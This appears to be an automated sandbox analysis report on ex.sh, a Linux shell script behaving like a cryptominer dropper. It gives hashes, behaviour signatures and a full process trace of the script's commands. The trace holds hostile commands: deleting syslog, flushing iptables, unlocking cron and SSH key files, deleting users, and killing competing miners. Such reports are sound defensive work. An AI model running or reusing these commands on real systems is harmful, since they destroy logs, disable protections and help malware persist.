3859228f749da18c65d0dab3f5efa45485967db2751a5a5ca604d06e5ff0607b

Analysis

max time kernel
151s
max time network
126s
platform
linux_armhf
resource
debian9-armhf-en-20211208
resource tags

arch:armhfimage:debian9-armhf-en-20211208kernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05-06-2023 20:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ex.sh
Size

33KB
MD5

64cee920fe0de7406b82e77d2a050643
SHA1

4b9f0472a54a14fb88b67ce15d5771ee59c634eb
SHA256

3859228f749da18c65d0dab3f5efa45485967db2751a5a5ca604d06e5ff0607b
SHA512

5bfc29d014ed5746c015cf4e3695020e66192810227edfd589ab358022df0f8d25d24cd04aa3c3650f47fe6c8fcbe3a4bf05995f484fc8a259678755e8459320
SSDEEP

384:aAC6+7pQwKL//OMHDf6jlpTWg3vMGQiirhv6R+wMeWGj4CC9vEKMvU/4Qdre21j/:S7LzQ5VFNcDAFLcIwgnoYq0xFBrHtguz

Score

7^/10

evasion persistence

Malware Config

Signatures

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

evasion

Indicator Removal on Host

T1070

description	ioc	Process
File deleted	/var/log/syslog	rm

Flushes firewall rules 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

pid	Process
360	iptables

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1527	Process not Found
426	xargs
1397	xargs
382	xargs
1075	xargs
1160	xargs
1417	Process not Found
1529	Process not Found
354	chattr
355	chattr
947	xargs
1032	xargs
1178	xargs
1233	xargs
578	xargs
645	xargs
1080	xargs
1307	xargs
1441	Process not Found
480	xargs
1052	xargs
1312	xargs
1475	Process not Found
1499	Process not Found
1503	Process not Found
935	xargs
1103	xargs
1425	Process not Found
546	xargs
1010	xargs
1409	xargs
1485	Process not Found
584	xargs
1327	xargs
958	xargs
1263	xargs
1357	xargs
353	chattr
504	xargs
747	xargs
752	xargs
1317	xargs
576	xargs
635	xargs
1125	xargs
1519	Process not Found
534	xargs
824	xargs
1000	xargs
1150	xargs
1337	xargs
1437	Process not Found
572	xargs
799	xargs
861	xargs
1221	xargs
759	xargs
779	xargs
731	xargs
819	xargs
1285	xargs
1427	Process not Found
1439	Process not Found
1449	Process not Found

Creates/modifies Cron job 1 TTPs 11 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

persistence

Scheduled Task

T1053

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.KrTfgd	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.3uP8FW	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.TLpvXi	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.MLqdLV	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.mlYTih	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Rkc7pp	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.A1VfyI	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.LsWllb	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ncuCor	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.teACqN	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.gZIMlT	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/3/status	Process not Found
File opened for reading	/proc/10/cmdline	Process not Found
File opened for reading	/proc/356/stat	ps
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/306/status	Process not Found
File opened for reading	/proc/228/status	Process not Found
File opened for reading	/proc/3/status	Process not Found
File opened for reading	/proc/2/status	Process not Found
File opened for reading	/proc/276/cmdline	Process not Found
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/132/stat	ps
File opened for reading	/proc/348/stat	ps
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/26/status	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/164/stat	ps
File opened for reading	/proc/25/cmdline	ps
File opened for reading	/proc/566/status	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/19/status	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/916/cmdline	ps
File opened for reading	/proc/307/stat	ps
File opened for reading	/proc/225/cmdline	Process not Found
File opened for reading	/proc/132/cmdline	Process not Found
File opened for reading	/proc/225/cmdline	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/21/status	ps
File opened for reading	/proc/105/status	Process not Found
File opened for reading	/proc/276/cmdline	Process not Found
File opened for reading	/proc/24/status	ps
File opened for reading	/proc/26/status	ps
File opened for reading	/proc/999/stat	ps
File opened for reading	/proc/42/stat	ps
File opened for reading	/proc/5/stat	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/74/stat	ps
File opened for reading	/proc/131/cmdline	ps
File opened for reading	/proc/105/cmdline	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/233/cmdline	ps
File opened for reading	/proc/27/stat	ps
File opened for reading	/proc/131/cmdline	Process not Found
File opened for reading	/proc/29/status	Process not Found
File opened for reading	/proc/306/status	Process not Found
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/27/cmdline	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/106/cmdline	ps
File opened for reading	/proc/95/status	Process not Found
File opened for reading	/proc/345/status	Process not Found
File opened for reading	/proc/21/cmdline	Process not Found
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/230/status	ps
File opened for reading	/proc/351/cmdline	ps

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	ex.sh

/tmp/ex.sh
/tmp/ex.sh
1⤵
- Writes file to tmp directory
PID:351
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  - Deletes system logs
  PID:352
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Attempts to change immutable files
  PID:353
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  - Attempts to change immutable files
  PID:354
- /usr/bin/chattr
  chattr -R -i /var/spool/cron
  2⤵
  - Attempts to change immutable files
  PID:355
- /usr/bin/chattr
  chattr -i /etc/crontab
  2⤵
  PID:357
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:360
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  PID:363
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    PID:364
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:365
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:366
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  PID:367
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  PID:368
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:369
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:370
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:371
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:372
- /bin/grep
  grep /dot
  2⤵
  PID:373
- /bin/grep
  grep -v grep
  2⤵
  PID:374
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:375
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:376
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads runtime system information
  PID:377
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:378
- /bin/grep
  grep tracepath
  2⤵
  PID:379
- /bin/grep
  grep -v grep
  2⤵
  PID:380
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:381
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:382
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  PID:383
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:384
- /bin/grep
  grep ./ll1
  2⤵
  PID:385
- /bin/grep
  grep -v grep
  2⤵
  PID:386
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:387
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:388
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:389
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  PID:390
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:391
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:392
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:394
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:395
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:396
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:397
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:399
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:400
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:401
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:402
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:404
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:405
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:406
- /bin/grep
  grep -v -
  2⤵
  PID:407
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:408
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:410
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:411
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:412
- /bin/grep
  grep -v -
  2⤵
  PID:413
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:414
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:416
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:417
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:418
- /bin/grep
  grep -v -
  2⤵
  PID:419
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:420
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  PID:421
- /bin/ps
  ps aux
  2⤵
  PID:422
- /bin/grep
  grep agetty
  2⤵
  PID:423
- /bin/grep
  grep -v grep
  2⤵
  PID:424
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:425
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:426
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  PID:427
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:428
- /bin/sed
  sed /192.81.212.13/d
  2⤵
  PID:429
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:430
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:431
- /bin/sed
  sed /base64/d
  2⤵
  PID:432
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:433
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:434
- /bin/sed
  sed /python/d
  2⤵
  PID:435
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:436
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:438
- /bin/sed
  sed /shm/d
  2⤵
  PID:439
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:441
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:442
- /bin/sed
  sed /postgresql/d
  2⤵
  PID:443
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:444
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:445
- /bin/sed
  sed /cloudfronts/d
  2⤵
  PID:446
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:447
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:448
- /bin/sed
  sed /sshd/d
  2⤵
  PID:449
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:450
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:451
- /bin/sed
  sed /linux/d
  2⤵
  PID:452
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:453
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:454
- /bin/sed
  sed /neoogilvy/d
  2⤵
  PID:455
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:456
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:457
- /bin/sed
  sed /rsync/d
  2⤵
  PID:458
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:459
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:460
- /bin/sed
  sed /bpdeliver/d
  2⤵
  PID:461
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:462
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  PID:463
- /usr/bin/pkill
  pkill -f htop
  2⤵
  PID:464
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  PID:466
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  PID:467
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  PID:468
- /bin/grep
  grep :1414
  2⤵
  PID:470
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:471
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:472
- /bin/grep
  grep -v -
  2⤵
  PID:473
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:474
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:476
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:477
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:478
- /bin/grep
  grep -v -
  2⤵
  PID:479
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:480
- /bin/grep
  grep :143
  2⤵
  PID:482
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:483
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:484
- /bin/grep
  grep -v -
  2⤵
  PID:485
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:486
- /bin/grep
  grep :2222
  2⤵
  PID:488
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:489
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:490
- /bin/grep
  grep -v -
  2⤵
  PID:491
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:492
- /bin/grep
  grep :3333
  2⤵
  PID:494
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:495
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:496
- /bin/grep
  grep -v -
  2⤵
  PID:497
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:498
- /bin/grep
  grep :3389
  2⤵
  PID:500
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:501
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:502
- /bin/grep
  grep -v -
  2⤵
  PID:503
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:504
- /bin/grep
  grep :4444
  2⤵
  PID:506
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:507
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:508
- /bin/grep
  grep -v -
  2⤵
  PID:509
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:510
- /bin/grep
  grep :5555
  2⤵
  PID:512
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:513
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:514
- /bin/grep
  grep -v -
  2⤵
  PID:515
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:516
- /bin/grep
  grep :6666
  2⤵
  PID:518
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:519
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:520
- /bin/grep
  grep -v -
  2⤵
  PID:521
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:522
- /bin/grep
  grep :6665
  2⤵
  PID:524
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:525
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:526
- /bin/grep
  grep -v -
  2⤵
  PID:527
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:528
- /bin/grep
  grep :6667
  2⤵
  PID:530
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:531
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:532
- /bin/grep
  grep -v -
  2⤵
  PID:533
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:534
- /bin/grep
  grep :7777
  2⤵
  PID:536
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:537
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:538
- /bin/grep
  grep -v -
  2⤵
  PID:539
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:540
- /bin/grep
  grep :8444
  2⤵
  PID:542
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:543
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:544
- /bin/grep
  grep -v -
  2⤵
  PID:545
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:546
- /bin/grep
  grep :3347
  2⤵
  PID:548
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:549
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:550
- /bin/grep
  grep -v -
  2⤵
  PID:551
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:552
- /bin/grep
  grep :14444
  2⤵
  PID:554
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:555
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:556
- /bin/grep
  grep -v -
  2⤵
  PID:557
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:558
- /bin/grep
  grep :14433
  2⤵
  PID:561
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:562
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:563
- /bin/grep
  grep -v -
  2⤵
  PID:564
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:565
- /bin/grep
  grep :13531
  2⤵
  PID:568
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:569
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:570
- /bin/grep
  grep -v -
  2⤵
  PID:571
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:572
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:573
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:574
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:575
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:576
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:577
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:578
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:579
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:580
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:581
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:582
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:583
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:584
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:585
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:586
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:587
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:588
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:589
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:590
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:591
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:592
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:593
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads CPU attributes
  PID:594
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  PID:595
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:596
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  PID:597
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:598
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  PID:599
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  PID:600
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  PID:601
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  PID:602
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  PID:603
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  PID:604
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads runtime system information
  PID:605
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  PID:606
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  PID:607
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  PID:608
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  PID:609
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  PID:610
- /usr/bin/pkill
  pkill -f .main
  2⤵
  PID:611
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  PID:612
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  PID:613
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  PID:614
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  PID:615
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  PID:616
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  PID:617
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:618
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  PID:619
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  PID:620
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  PID:621
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  PID:622
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  PID:626
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:627
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  PID:628
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  PID:629
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  PID:630
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:631
- /bin/grep
  grep ./udp
  2⤵
  PID:632
- /bin/grep
  grep -v grep
  2⤵
  PID:633
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:634
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:635
- /bin/ps
  ps aux
  2⤵
  PID:636
- /bin/grep
  grep ./oka
  2⤵
  PID:637
- /bin/grep
  grep -v grep
  2⤵
  PID:638
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:639
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:640
- /bin/ps
  ps aux
  2⤵
  PID:641
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:642
- /bin/grep
  grep -v grep
  2⤵
  PID:643
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:644
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:645
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  PID:646
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:647
- /bin/grep
  grep -v bin
  2⤵
  PID:648
- /bin/grep
  grep -v "\\["
  2⤵
  PID:649
- /bin/grep
  grep -v "("
  2⤵
  PID:650
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:652
- /bin/grep
  grep -v proxymap
  2⤵
  PID:653
- /bin/grep
  grep -v postgres
  2⤵
  PID:654
- /bin/grep
  grep -v postgrey
  2⤵
  PID:655
- /bin/grep
  grep -v kinsing
  2⤵
  PID:656
